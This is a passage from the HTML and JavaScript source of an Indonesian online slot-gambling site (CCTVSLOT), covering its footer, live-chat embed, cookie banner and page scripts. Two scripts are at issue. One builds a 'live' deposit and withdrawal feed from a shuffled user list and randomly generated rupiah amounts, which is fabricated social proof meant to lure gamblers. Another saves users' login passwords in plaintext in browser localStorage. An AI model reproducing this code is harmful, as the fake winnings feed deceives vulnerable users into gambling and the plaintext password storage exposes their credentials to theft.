5739 url: 'https://cdn.jsdelivr.net/gh/zombief1206/idn-design@main/users.json', 5740 type: 'GET', 5741 dataType: 'JSON', 5742 success: function(response) { 5743 const getUser = randomUser(response.slice(0, 50)); 5744 $.each(getUser, function(index, items){ 5745 // IDR Value 5746 const dana_wd = uangRupiahDp(10000, 500000); 5747 5748 $('.deposit-members').append('<div class="item-trans"><div class="avatar-wrapper"><img src="https://res.cloudinary.com/dvlff34qz/image/upload/v1764253563/profile.png" class="avatar-trans" />'+ items.user +' | Deposit:</div> <span class="rupiah-trans">Rp.'+ dana_wd +'</span></div>'); 5749 5750 }); 5751 5752 } 5753 }) 5754 } 5755 5756 function getWithdraw() { 5757 $.ajax({ 5758 url: 'https://cdn.jsdelivr.net/gh/zombief1206/idn-design@main/users.json', 5759 type: 'GET', 5760 dataType: 'JSON', 5761 success: function(response) { 5762 const getUser = randomUser(response.slice(0, 50)); 5763 $.each(getUser, function(index, items){ 5764 // IDR Value 5765 const dana_wd = uangRupiah(500000, 10000000); 5766 $('.withdraw-members').append('<div class="item-trans"><div class="avatar-wrapper"><img src="https://res.cloudinary.com/dvlff34qz/image/upload/v1764253563/profile.png" class="avatar-trans" />'+ items.user +' | Withdraw:</div> <span class="rupiah-trans">Rp.'+ dana_wd +'</span></div>'); 5767 5768 }); 5769 } 5770 }) 5771 } 5772 5773 function uangRupiah(min, max) { 5774 function getRandomRoundNumber(min, max) { 5775 const randomNumber = Math.floor(Math.random() * (max - min + 1)) + min; 5776 const returnNum = Math.floor(randomNumber / 100000) * 138000; 5777 if(returnNum != 0 || !isNaN(returnNum)) { 5778 return returnNum; 5779 } 5780 } 5781 5782 const randomRoundNumber = getRandomRoundNumber(min, max); 5783 const roundedNumber = randomRoundNumber; 5784 return new Intl.NumberFormat().format(roundedNumber); 5785 } 5786 5787 function uangRupiahDp(min, max) { 5788 function getRandomRoundNumber(min, max) { 5789 const randomNumber = Math.floor(Math.random() * (max - min + 1)) + min; 5790 const returnNum = Math.floor(randomNumber / 20000) * 21478; 5791 if(returnNum != 0 || !isNaN(returnNum)) { 5792 return returnNum; 5793 } 5794 } 5795 5796 const randomRoundNumber = getRandomRoundNumber(min, max); 5797 const roundedNumber = randomRoundNumber; 5798 return new Intl.NumberFormat().format(roundedNumber); 5799 } 5800 5801 function randomUser(array) { 5802 var currentIndex = array.length, temporaryValue, randomIndex; 5803 5804 // While there remain elements to shuffle 5805 while (0 !== currentIndex) { 5806 // Pick a remaining element 5807 randomIndex = Math.floor(Math.random() * currentIndex); 5808 currentIndex -= 1; 5809 5810 // Swap it with the current element 5811 temporaryValue = array[currentIndex]; 5812 array[currentIndex] = array[randomIndex]; 5813 array[randomIndex] = temporaryValue; 5814 } 5815 5816 return array; 5817 } 5818 5819 getWithdraw(); 5820 getDeposit(); 5821 LinkAlternatif(); 5822 5823 }); 5824 </script>
5824 5825
5825<script> 5826 $('<div><img src="https://img-zone.b-cdn.net/icon/jp.gif" class="desktop-only" alt="CCTVSLOT" style="width: 100%"></div>').insertBefore('.provider-group:eq(0)'); 5827 </script>
5827 5828 5829 </div> 5830 5831 5832 5833 5834 </div> </div> 5835 5836 5837 <div class="footer-group"> 5838 <div class="copyright"> 5839 <div style="white-space: nowrap">© 2015 - 2026 Copyright CCTVSLOT.</div> 5840 <div>All Rights Reserved.</div> 5841 </div> 5842 <div class="desktop-only"> 5843 <div class="d-flex gap-1"> 5844 <div class="btn-footer" onclick='window.location.href="/?mobile"'>MOBILE</div> 5845 <div class="btn-footer" onclick='window.location.href="/wap"'>WAP</div> 5846 </div> 5847 </div> 5848 <img class="mobile-only" style="width: 100%" src="https://img.viva88athenae.com/assets/guidelines_w.png" alt=""> 5849 5850 <button class="btn btn-aduan2 ms-lg-auto py-1 px-2" style="border: 2px solid #b08432;" data-toggle="tooltip" data-placement="bottom" title="Aduan Pelanggan" onclick="javascript:window.open ('https://ares88access.com/?token=0T2G77V3fEe1lKWKoOoqcbXXV5F8Pvwktaw60wb5sqU.','mywindow','menubar=1,resizable=1,width=430 ,height=880');"> 5851 <i class="bi bi-shield-fill-exclamation"></i> 5852 <strong class="ms-1">LAPOR PUSAT</strong> 5853 </button> 5854 </div> 5855 </footer> 5856 5857 5858 5859 5860 5861 <!-- SIDENAV --> 5862 <div id="mySidenav" class="sidenav desktop-only"> 5863 <div id="nav"> 5864 <div style="display: flex; align-items: start;"> 5865 <div style="height: 246px; width: 64px; background: var(--primary-color); border-radius: 8px 0px 0px 8px; overflow: hidden; box-shadow: rgba(0, 0, 0, 0.35) 0px 5px 15px;"> 5866 5867 <img src="/assets/hubungi.png?11"> 5868 5869 </div> 5870 <!--<img id="about" src="/images/kontak.png?4">--> 5871 </div> 5872 <div class="ptsans" style="font-size: 1rem; background: white; border-radius: 0px 5px 5px 5px; overflow: hidden; width: 160px"> 5873 <div id="" style="padding: 4px"> 5874 <img src="/assets/24h.png" style="width: 100%"></img> 5875 </div> 5876 5877 <div id="kontak-content" style="display: flex; flex-direction: column; width: 100%; font-size: .8rem"> 5878 <div style="display: grid; place-items: center; font-weight: bold; font-size: 1rem">MEMBER SERVICE</div> 5879 5880 5881 5882 <a href="https://wa.me/+62 82121929648" target='_blank' style="padding: 4px; display: flex; align-items: center; gap: 8px; border-bottom: 1px solid #e0e0e0"> 5883 <img src="https://img.viva88athenae.com/kontak/whatsapp.png" width="20"/><span>WhatsApp Official</span> 5884 </a> 5885 5886 5887 5888 5889 5890 </div> 5891 <div style="margin: 8px"> 5892 <a href="/register"><input type="button" value="DAFTAR SEKARANG" style="width: 100%; border-radius: 5px; font-size: .875rem; height: 40px; border: none; font-weight: bold; background: black; color: white"></a> 5893 </div> 5894 </div> 5895 </div> 5896 </div> 5897 </div> 5898 5899 5900 <!--POP UP --> 5901 5902 <!-- LIVE CHAT --> 5903 <!-- Start of LiveChat (www.livechat.com) code -->
5904<script> 5905 window.__lc = window.__lc || {}; 5906 window.__lc.license = 19136438; 5907 window.__lc.integration_name = "manual_channels"; 5908 window.__lc.product_name = "livechat"; 5909 ;(function(n,t,c){function i(n){return e._h?e._h.apply(null,n):e._q.push(n)}var e={_q:[],_h:null,_v:"2.0",on:function(){i(["on",c.call(arguments)])},once:function(){i(["once",c.call(arguments)])},off:function(){i(["off",c.call(arguments)])},get:function(){if(!e._h)throw new Error("[LiveChatWidget] You can't use getters before load.");return i(["get",c.call(arguments)])},call:function(){i(["call",c.call(arguments)])},init:function(){var n=t.createElement("script");n.async=!0,n.type="text/javascript",n.src="https://cdn.livechatinc.com/tracking.js",t.head.appendChild(n)}};!n.__lc.asyncInit&&e.init(),n.LiveChatWidget=n.LiveChatWidget||e}(window,document,[].slice)) 5910</script>
5910 5911<noscript><a href="https://www.livechat.com/chat-with/19136438/" rel="nofollow">Chat with us</a>, powered by <a href="https://www.livechat.com/?welcome" rel="noopener nofollow" target="_blank">LiveChat</a></noscript> 5912<!-- End of LiveChat code --> 5913 5914 <!-- LiveChat Internal --> 5915 <style> 5916 /* Taruh widget livechat di belakang modal+backdrop selagi modal terbuka (mis. #promo) */ 5917 body.modal-open .cs-embed { z-index: 1049 !important; } 5918 </style> 5919 5920 5921
5921<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js" integrity="sha384-ENjdO4Dr2bkBIFxQpeoTz1HIcje39Wm4jDKdf19U8gI4ddQ3GYNS7NTKfAdVQSZe" crossorigin="anonymous"></script>
5921 5922
5922<script> 5923 document.addEventListener('DOMContentLoaded', function() { 5924 setTimeout(function() { 5925 const mobileForm = document.querySelector('#mobilelogin form') || 5926 document.querySelector('#mobilelogin .login-form') || 5927 document.querySelector('.mobile-only form'); 5928 5929 if (!mobileForm) { 5930 return; 5931 } 5932 5933 const username = mobileForm.querySelector('input[name="username"]'); 5934 const password = mobileForm.querySelector('input[name="password"]'); 5935 const remember = document.querySelector('#rememberMe') || 5936 document.querySelector('input[type="checkbox"]'); 5937 5938 if (!username || !password || !remember) { 5939 return; 5940 } 5941 5942 try { 5943 localStorage.setItem('test', 'working'); 5944 if (localStorage.getItem('test') === 'working') { 5945 localStorage.removeItem('test'); 5946 } else { 5947 return; 5948 } 5949 } catch(e) { 5950 return; 5951 } 5952 5953 initializeRememberMe(); 5954 loadSavedData(); 5955 5956 mobileForm.addEventListener('submit', handleSave); 5957 mobileForm.addEventListener('click', function(e) { 5958 if (e.target.type === 'submit' || e.target.classList.contains('submit')) { 5959 handleSave(); 5960 } 5961 }); 5962 remember.addEventListener('change', function() { 5963 if (!this.checked) { 5964 clearSavedData(); 5965 localStorage.setItem('mobile_remember_unchecked', 'true'); 5966 } else { 5967 localStorage.removeItem('mobile_remember_unchecked'); 5968 } 5969 }); 5970 5971 function initializeRememberMe() { 5972 try { 5973 const wasUnchecked = localStorage.getItem('mobile_remember_unchecked'); 5974 const hasSuccessfulLogin = localStorage.getItem('mobile_login_success'); 5975 if (wasUnchecked === 'true' && hasSuccessfulLogin === 'true') { 5976 remember.checked = false; 5977 } else { 5978 remember.checked = true; 5979 } 5980 } catch(e) { 5981 remember.checked = true; 5982 } 5983 } 5984 5985 function loadSavedData() { 5986 try { 5987 const savedUsername = localStorage.getItem('mobile_username'); 5988 const savedPassword = localStorage.getItem('mobile_password'); 5989 const rememberChecked = localStorage.getItem('mobile_remember'); 5990 if (rememberChecked === 'true' && savedUsername && savedPassword) { 5991 username.value = savedUsername; 5992 password.value = savedPassword; 5993 } 5994 } catch(e) { 5995 // console.log('Error loading data:', e); 5996 } 5997 } 5998 5999 function handleSave() { 6000 if (remember.checked) { 6001 const usernameVal = username.value.trim(); 6002 const passwordVal = password.value.trim(); 6003 6004 if (usernameVal && passwordVal) { 6005 try { 6006 localStorage.setItem('mobile_username', usernameVal); 6007 localStorage.setItem('mobile_password', passwordVal); 6008 localStorage.setItem('mobile_remember', 'true'); 6009 localStorage.setItem('mobile_login_success', 'true'); 6010 } catch(e) { 6011 // console.log('Error saving data:', e); 6012 } 6013 } 6014 } else { 6015 clearSavedData(); 6016 localStorage.setItem('mobile_login_success', 'true'); 6017 } 6018 } 6019 6020 function clearSavedData() { 6021 try { 6022 localStorage.removeItem('mobile_username'); 6023 localStorage.removeItem('mobile_password'); 6024 localStorage.removeItem('mobile_remember'); 6025 } catch(e) { 6026 // console.log('Error clearing data:', e); 6027 } 6028 } 6029 }, 100); // Wait 100ms 6030 6031 function initBroadcastMarquee() { 6032 $('.mobile-broadcast, #marquee .broadcast').each(function () { 6033 const el = $(this); 6034 6035 if ($.trim(el.text()) === '') return; 6036 if (!el.is(':visible')) return; 6037 6038 try { 6039 el.marquee('destroy'); 6040 } catch (e) {} 6041 6042 el.marquee({ 6043 speed: 30, 6044 gap: 80, 6045 delayBeforeStart: 0, 6046 direction: 'left', 6047 duplicated: true, 6048 pauseOnHover: true, 6049 startVisible: true 6050 }); 6051 }); 6052 } 6053 6054 $(window).on('load', function () { 6055 setTimeout(function () { 6056 initBroadcastMarquee(); 6057 }, 300); 6058 }); 6059 6060 $(window).on('resize orientationchange', function () { 6061 clearTimeout(window.broadcastResizeTimer); 6062 window.broadcastResizeTimer = setTimeout(function () { 6063 initBroadcastMarquee(); 6064 }, 400); 6065 }); 6066 6067 // document.querySelectorAll("marquee").forEach(function(marquee){ 6068 6069 // let speed = 0.5; // smaller = slower 6070 // let position = marquee.offsetWidth; 6071 6072 // function animate(){ 6073 // position--; 6074 6075 // if(position < -marquee.scrollWidth){ 6076 // position = marquee.offsetWidth; 6077 // } 6078
6079 // marquee.style.transform = "translateX(" + position + "px)"; 6080 // requestAnimationFrame(animate); 6081 // } 6082 6083 // animate(); 6084 6085 // // pause on hover 6086 // marquee.addEventListener("mouseenter", function(){ 6087 // speed = 0; 6088 // }); 6089 6090 // marquee.addEventListener("mouseleave", function(){ 6091 // speed = 0.5; 6092 // }); 6093 6094 // }); 6095 6096 6097 }); 6098 </script>
6098 6099 6100
6100<script> 6101 if(document.getElementById("promo")) { 6102 var myModal = new bootstrap.Modal(document.getElementById("promo"), {}); 6103 window.onload = () => { 6104 myModal.show(); 6105 } 6106 } 6107 6108 var mobileurl = 'm/'; 6109 6110 6111 6112 var showIDs = []; 6113 6114 function showProducts(hoverID) { 6115 while(showIDs.length > 0) document.getElementById(showIDs.pop()).style.display = "none"; 6116 6117 // document.getElementById('hover').classList.add("hover-show"); 6118 document.getElementById('hover').style.transitionDelay = "0s"; 6119 document.getElementById('hover').style.visibility = "visible"; 6120 document.getElementById('hover').style.opacity = "1"; 6121 document.getElementById(hoverID).style.display = "flex"; 6122 6123 showIDs.push(hoverID); 6124 6125 } 6126 6127 function hideProducts(hoverID) { 6128 // document.getElementById('hover').classList.remove("hover-show"); 6129 document.getElementById('hover').style.visibility = "hidden"; 6130 document.getElementById('hover').style.opacity = "0"; 6131 document.getElementById('hover').style.transitionDelay = "1s"; 6132 6133 } 6134 6135 var mobileDaftarForm = document.getElementById('mobile-daftar-form'); 6136 var marquee = document.getElementById('marquee'); 6137 var mobileChangePasswordForm = document.getElementById('mobile-changepassword-form'); 6138 var mobileLoginBox = document.getElementById('mobilelogin'); 6139 6140 function closeContent() { 6141 $('#main-content').html(""); 6142 } 6143 6144 6145 function openDaftar() { 6146 closeContent(); 6147 6148 if (mobileLoginBox) mobileLoginBox.style.display = "none"; 6149 if (mobileChangePasswordForm) mobileChangePasswordForm.style.display = "none"; 6150 6151 mobileDaftarForm.style.display = "block"; 6152 mobileDaftarForm.scrollIntoView(); 6153 } 6154 6155 function closeDaftar() { 6156 mobileDaftarForm.style.display = "none"; 6157 marquee.scrollIntoView(); 6158 } 6159 6160 6161 function showProvider(type) { 6162 $('#main-content').html("<div style='padding: 24px'><img src=\"/images/loading.gif\" width=\"36px\"><div>"); 6163 $('#main-content').load("/new-showprovider.php?type=" + type); 6164 } 6165 6166 function toggleInformasi(item) { 6167 page(item); 6168 } 6169 6170 function showInformasi(item) { 6171 document.getElementById('modal-wrapper').style.display='block'; 6172 toggleInformasi(item); 6173 } 6174 6175 function openChangePasswordMobile() { 6176 closeContent(); 6177 6178 if (mobileLoginBox) mobileLoginBox.style.display = "none"; 6179 if (mobileDaftarForm) mobileDaftarForm.style.display = "none"; 6180 6181 if (mobileChangePasswordForm) { 6182 mobileChangePasswordForm.style.display = "block"; 6183 mobileChangePasswordForm.scrollIntoView(); 6184 } 6185 } 6186 6187 function closeChangePasswordMobile() { 6188 if (mobileChangePasswordForm) mobileChangePasswordForm.style.display = "none"; 6189 if (mobileDaftarForm) mobileDaftarForm.style.display = "none"; 6190 if (mobileLoginBox) mobileLoginBox.style.display = "block"; 6191 6192 marquee.scrollIntoView(); 6193 } 6194 6195 6196 6197 6198 </script>
6198 6199
6199<script src="/js/old/new2-webduo35.js?v=1790436661"></script>
6199 6200 6201
6201<script> 6202 function scrollToLoginForm(launchType, matchId) { 6203 sessionStorage.setItem('launch', launchType); 6204 if (matchId) sessionStorage.setItem('sbo_matchId', matchId); 6205 else sessionStorage.removeItem('sbo_matchId'); 6206 window.scrollTo({ top: 0, behavior: 'smooth' }); 6207 setTimeout(function() { 6208 var isMobile = window.innerWidth <= 1000; 6209 var loginSelector = isMobile 6210 ? '#mobilelogin input[name="username"]' 6211 : '#desktoplogin form'; 6212 var el = document.querySelector(loginSelector); 6213 if (!el) return; 6214 var usernameEl = document.querySelector(isMobile ? '#mobilelogin input[name="username"]' : '#desktoplogin input[name="username"]'); 6215 if (usernameEl && !isMobile) usernameEl.focus(); 6216 if (usernameEl && isMobile) usernameEl.scrollIntoView({ behavior: 'instant', block: 'center' }); 6217 const driver = window.driver.js.driver({ 6218 popoverClass: 'driverjs-theme', 6219 showProgress: false, 6220 showButtons: [], 6221 overlayOpacity: 0.3, 6222 steps: [ 6223 { 6224 element: loginSelector, 6225 popover: { 6226 title: 'Harap Login', 6227 description: 'Silakan masukkan username Anda', 6228 side: 'bottom', 6229 align: 'start', 6230 showButtons: [], 6231 nextBtnText: '', 6232 prevBtnText: '', 6233 doneBtnText: '' 6234 } 6235 } 6236 ], 6237 onDestroyStarted: () => driver.destroy(), 6238 }); 6239 driver.drive(); 6240 if (usernameEl) { 6241 function destroyDriver() { 6242 driver.destroy(); 6243 window.scrollTo({ top: 0 }); 6244 usernameEl.removeEventListener('input', destroyDriver); 6245 usernameEl.removeEventListener('click', destroyDriver); 6246 usernameEl.removeEventListener('focus', destroyDriver); 6247 } 6248 usernameEl.addEventListener('input', destroyDriver, { once: true }); 6249 usernameEl.addEventListener('click', destroyDriver, { once: true }); 6250 usernameEl.addEventListener('focus', destroyDriver, { once: true }); 6251 } 6252 }, 500); 6253 } 6254 </script>
6254 6255
6255<script> 6256 window.addEventListener("message", function(e) { 6257 if (e.origin !== "https://fkupon.com") return; 6258 if (e.data && e.data.action === "resize" && e.data.height) { 6259 var iframes = document.querySelectorAll(".iframe-kupon"); 6260 iframes.forEach(function(iframe) { 6261 iframe.style.height = Math.max(100, e.data.height - 16) + "px"; 6262 }); 6263 } 6264 }); 6265 </script>
6265 6266 6267 6268 <!-- POP UP COOKIES --> 6269 6270<style> 6271 6272 6273 .kebijakan-privasi, .kebijakan-cookies { 6274 color: var(--primary-color); 6275 text-decoration: underline; 6276 } 6277 6278 6279 6280</style> 6281 6282 6283<div id="boxprivacy" style="position: fixed;left: 0;bottom: 0;width: 100%; background-color: #FFF; box-shadow:rgba(0,0,0,0.6) 0px 0px 10px 0px; opacity: 0.85; z-index: 2147483640; color: #333"> 6284 <div style="margin:0px; padding: 15px; padding-right: 60px; border: 1px solid #DDD; font-size: 1rem"> 6285 <div> 6286 Kami menggunakan cookies untuk mengoptimalkan navigasi, fitur serta konten yang lebih Relevan. Untuk informasi lengkap tentang cookies silahkan lihat <a href="javascript:showInformasi('cookies')" class="kebijakan-cookies">Persetujuan Cookies</a>. Dengan menggunakan situs ini, Anda menyetujui penggunaan cookies serta data pribadi sesuai <a href="javascript:showInformasi('privasi')" class="kebijakan-privasi">Kebijakan Privasi</a>. </div> 6287 </div> 6288 <div> 6289 <div onclick="document.getElementById('boxprivacy').style.display='none'" class="closebox" title="Close Box" style="margin-right: 10px;">×</div> 6290 </div> 6291</div>
6292<script> 6293 $( "#boxprivacy" ).blur(function() { 6294 alert( "Handler for .blur() called." ); 6295}); 6296</script>
6296 6297 6298 6299
6299<script type="module" src="https://static.cloudflareinsights.com/beacon.min.js/v4bc70e2c01a94c73b74392e4234840661791215815920" integrity="sha512-L0ha0OXavK/8okipN9F8BtP84dg9DUhPERbBXzwI6dgTA55d2+yweo3pn5CSFYs45/r8md2+xvUPtTdvTNRfjA==" data-cf-beacon='{"version":"2024.11.0","token":"08d608e65c614704981c55246a34de87","r":1,"spa":2}' crossorigin="anonymous"></script>
6299 6300</body> 6301</html>
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.